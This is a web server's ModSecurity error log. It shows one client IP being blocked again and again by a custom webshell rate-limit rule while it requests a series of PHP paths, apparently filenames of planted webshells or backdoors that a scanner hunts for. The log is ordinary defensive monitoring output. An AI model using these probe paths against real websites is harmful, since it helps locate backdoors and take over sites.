[Thu Apr 23 23:57:37.174565 2026] [:error] [pid 46953:tid 46962] [client 4.212.93.21:41007] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/666.php"] [unique_id "aepBcUnlpdHh-P6wKbpcewAAAkY"]
[Thu Apr 23 23:57:42.396762 2026] [:error] [pid 59700:tid 59718] [client 4.212.93.21:37197] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aepBdpXyGZJFeAIDWtlUmAAAAVA"]
[Thu Apr 23 23:57:44.734183 2026] [:error] [pid 42973:tid 43047] [client 4.212.93.21:5198] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aepBeG6I0QqmmmLTHE1WPAAAAIQ"]
[Thu Apr 23 23:57:46.953844 2026] [:error] [pid 59700:tid 59718] [client 4.212.93.21:35283] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aepBepXyGZJFeAIDWtlUoQAAAVA"]
[Thu Apr 23 23:57:47.990726 2026] [:error] [pid 65000:tid 65057] [client 4.212.93.21:54185] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aepBe76vRb9j6psK2ZYGdwAAAhg"]
[Thu Apr 23 23:57:49.340378 2026] [:error] [pid 65000:tid 65041] [client 4.212.93.21:34638] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aepBfb6vRb9j6psK2ZYGfQAAAgg"]
[Thu Apr 23 23:57:50.295568 2026] [:error] [pid 42972:tid 43032] [client 4.212.93.21:5133] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aepBfsOAb-3sOknsk4eFPQAAAFA"]
[Thu Apr 23 23:57:51.300374 2026] [:error] [pid 42973:tid 43062] [client 4.212.93.21:63661] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aepBf26I0QqmmmLTHE1WTwAAAJM"]
[Thu Apr 23 23:57:53.068270 2026] [:error] [pid 65000:tid 65044] [client 4.212.93.21:33511] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aepBgb6vRb9j6psK2ZYGiAAAAgs"]
[Thu Apr 23 23:57:54.205113 2026] [:error] [pid 59700:tid 59724] [client 4.212.93.21:36019] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aepBgpXyGZJFeAIDWtlUrwAAAVY"]
[Thu Apr 23 23:57:55.917213 2026] [:error] [pid 65000:tid 65056] [client 4.212.93.21:52432] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aepBg76vRb9j6psK2ZYGjAAAAhc"]
[Thu Apr 23 23:57:57.186938 2026] [:error] [pid 42973:tid 43059] [client 4.212.93.21:5126] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aepBhW6I0QqmmmLTHE1WWwAAAJA"]
[Thu Apr 23 23:57:58.135164 2026] [:error] [pid 42973:tid 43049] [client 4.212.93.21:64945] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/66.php"] [unique_id "aepBhm6I0QqmmmLTHE1WXgAAAIY"]
[Thu Apr 23 23:57:59.369515 2026] [:error] [pid 59700:tid 59705] [client 4.212.93.21:36003] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aepBh5XyGZJFeAIDWtlUswAAAUM"]
[Thu Apr 23 23:58:00.314050 2026] [:error] [pid 64998:tid 65009] [client 4.212.93.21:46951] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aepBiIV5EysYcTLjmwjhFwAAAcc"]
[Thu Apr 23 23:58:01.184952 2026] [:error] [pid 64998:tid 65026] [client 4.212.93.21:64917] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aepBiYV5EysYcTLjmwjhGQAAAdg"]
[Thu Apr 23 23:58:01.850152 2026] [:error] [pid 64998:tid 65025] [client 4.212.93.21:6090] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aepBiYV5EysYcTLjmwjhGwAAAdc"]
[Thu Apr 23 23:58:02.505901 2026] [:error] [pid 64998:tid 65009] [client 4.212.93.21:35978] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aepBioV5EysYcTLjmwjhIgAAAcc"]
[Thu Apr 23 23:58:03.360732 2026] [:error] [pid 65000:tid 65043] [client 4.212.93.21:5910] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aepBi76vRb9j6psK2ZYGkgAAAgo"]
[Thu Apr 23 23:58:04.641020 2026] [:error] [pid 59700:tid 59717] [client 4.212.93.21:42057] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aepBjJXyGZJFeAIDWtlUuwAAAU8"]
[Thu Apr 23 23:58:05.660685 2026] [:error] [pid 42973:tid 43059] [client 4.212.93.21:32159] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jga.php"] [unique_id "aepBjW6I0QqmmmLTHE1WagAAAJA"]
[Thu Apr 23 23:58:07.057479 2026] [:error] [pid 46953:tid 46978] [client 4.212.93.21:42100] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "aepBj0nlpdHh-P6wKbpckAAAAlU"]
[Thu Apr 23 23:58:07.997039 2026] [:error] [pid 42972:tid 43040] [client 4.212.93.21:46861] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "aepBj8OAb-3sOknsk4eFVwAAAFg"]
[Thu Apr 23 23:58:08.967018 2026] [:error] [pid 42972:tid 43024] [client 4.212.93.21:46867] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "aepBkMOAb-3sOknsk4eFXwAAAEg"]
[Thu Apr 23 23:58:10.463980 2026] [:error] [pid 59700:tid 59724] [client 4.212.93.21:38530] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-blog-header.php"] [unique_id "aepBkpXyGZJFeAIDWtlU1wAAAVY"]
[Thu Apr 23 23:58:11.504208 2026] [:error] [pid 46953:tid 46965] [client 4.212.93.21:60747] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aepBk0nlpdHh-P6wKbpclAAAAkk"]
[Thu Apr 23 23:58:12.469133 2026] [:error] [pid 42972:tid 43018] [client 4.212.93.21:45741] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bmi.php"] [unique_id "aepBlMOAb-3sOknsk4eFZQAAAEI"]
[Thu Apr 23 23:58:21.391148 2026] [:error] [pid 42973:tid 43057] [client 4.212.93.21:57547] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aepBnW6I0QqmmmLTHE1WqgAAAI4"]
[Thu Apr 23 23:58:22.299357 2026] [:error] [pid 65000:tid 65032] [client 4.212.93.21:46910] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aepBnr6vRb9j6psK2ZYGpAAAAgM"]
[Thu Apr 23 23:58:23.220625 2026] [:error] [pid 65000:tid 65048] [client 4.212.93.21:57573] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aepBn76vRb9j6psK2ZYGqAAAAg8"]
[Thu Apr 23 23:58:24.200825 2026] [:error] [pid 42971:tid 43002] [client 4.212.93.21:42054] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aepBoDEP2_5RswrH8bE-ygAAABA"]
[Thu Apr 23 23:58:25.051069 2026] [:error] [pid 64998:tid 65009] [client 4.212.93.21:64950] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "aepBoYV5EysYcTLjmwjhUAAAAcc"]
[Thu Apr 23 23:58:26.071403 2026] [:error] [pid 43083:tid 43099] [client 4.212.93.21:35972] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "aepBojC5hrvNXosL83KU4AAAAM4"]
[Thu Apr 23 23:58:27.507203 2026] [:error] [pid 46953:tid 46981] [client 4.212.93.21:54179] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "aepBo0nlpdHh-P6wKbpcpgAAAlg"]
[Thu Apr 23 23:58:28.804570 2026] [:error] [pid 43083:tid 43091] [client 4.212.93.21:37209] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ws48.php"] [unique_id "aepBpDC5hrvNXosL83KU4QAAAMY"]
[Thu Apr 23 23:58:29.819800 2026] [:error] [pid 25635:tid 25642] [client 4.212.93.21:54145] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aepBpcRxv6UsgRGKB3JCFgAAAQM"]
[Thu Apr 23 23:58:30.450957 2026] [:error] [pid 42971:tid 42996] [client 4.212.93.21:34670] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aepBpjEP2_5RswrH8bE-0QAAAAo"]
[Thu Apr 23 23:58:31.372115 2026] [:error] [pid 42972:tid 43021] [client 4.212.93.21:51863] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aepBp8OAb-3sOknsk4eFiwAAAEU"]
[Thu Apr 23 23:58:32.219444 2026] [:error] [pid 65000:tid 65057] [client 4.212.93.21:34685] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/8.php"] [unique_id "aepBqL6vRb9j6psK2ZYGuAAAAhg"]
[Thu Apr 23 23:58:32.879208 2026] [:error] [pid 25635:tid 25652] [client 4.212.93.21:5571] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aepBqMRxv6UsgRGKB3JCGwAAAQ0"]
[Thu Apr 23 23:58:33.584004 2026] [:error] [pid 46953:tid 46959] [client 4.212.93.21:37188] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aepBqUnlpdHh-P6wKbpcsQAAAkM"]
[Thu Apr 23 23:58:34.612040 2026] [:error] [pid 42973:tid 43064] [client 4.212.93.21:55921] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aepBqm6I0QqmmmLTHE1WuAAAAJU"]
[Thu Apr 23 23:58:35.403691 2026] [:error] [pid 42973:tid 43058] [client 4.212.93.21:51882] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dass.php"] [unique_id "aepBq26I0QqmmmLTHE1WvQAAAI8"]
[Thu Apr 23 23:58:36.410615 2026] [:error] [pid 42973:tid 43066] [client 4.212.93.21:40342] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aepBrG6I0QqmmmLTHE1WxQAAAJc"]
[Thu Apr 23 23:58:37.324744 2026] [:error] [pid 43083:tid 43103] [client 4.212.93.21:55929] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aepBrTC5hrvNXosL83KU4wAAANI"]
[Thu Apr 23 23:58:38.810033 2026] [:error] [pid 42973:tid 43049] [client 4.212.93.21:5184] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aepBrm6I0QqmmmLTHE1WywAAAIY"]
[Thu Apr 23 23:58:39.893655 2026] [:error] [pid 42972:tid 43016] [client 4.212.93.21:65492] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aepBr8OAb-3sOknsk4eFkQAAAEA"]
[Thu Apr 23 23:58:40.878589 2026] [:error] [pid 46953:tid 46970] [client 4.212.93.21:5228] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aepBsEnlpdHh-P6wKbpcugAAAk4"]
[Thu Apr 23 23:58:41.692070 2026] [:error] [pid 65000:tid 65045] [client 4.212.93.21:58309] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aepBsb6vRb9j6psK2ZYGwQAAAgw"]
[Thu Apr 23 23:58:42.476304 2026] [:error] [pid 42972:tid 43026] [client 4.212.93.21:54090] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aepBssOAb-3sOknsk4eFlAAAAEo"]
[Thu Apr 23 23:58:43.193717 2026] [:error] [pid 64998:tid 65003] [client 4.212.93.21:65507] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aepBs4V5EysYcTLjmwjhbwAAAcE"]
[Thu Apr 23 23:58:44.074124 2026] [:error] [pid 65000:tid 65046] [client 4.212.93.21:55912] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/eetu.php"] [unique_id "aepBtL6vRb9j6psK2ZYGyAAAAg0"]
[Thu Apr 23 23:58:44.759786 2026] [:error] [pid 65000:tid 65038] [client 4.212.93.21:40344] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/eetu.php"] [unique_id "aepBtL6vRb9j6psK2ZYG0AAAAgU"]
[Thu Apr 23 23:58:45.440370 2026] [:error] [pid 64998:tid 65015] [client 4.212.93.21:5195] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/eetu.php"] [unique_id "aepBtYV5EysYcTLjmwjhdQAAAc0"]
[Thu Apr 23 23:58:46.359699 2026] [:error] [pid 64998:tid 65008] [client 4.212.93.21:40338] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/eetu.php"] [unique_id "aepBtoV5EysYcTLjmwjhdwAAAcY"]
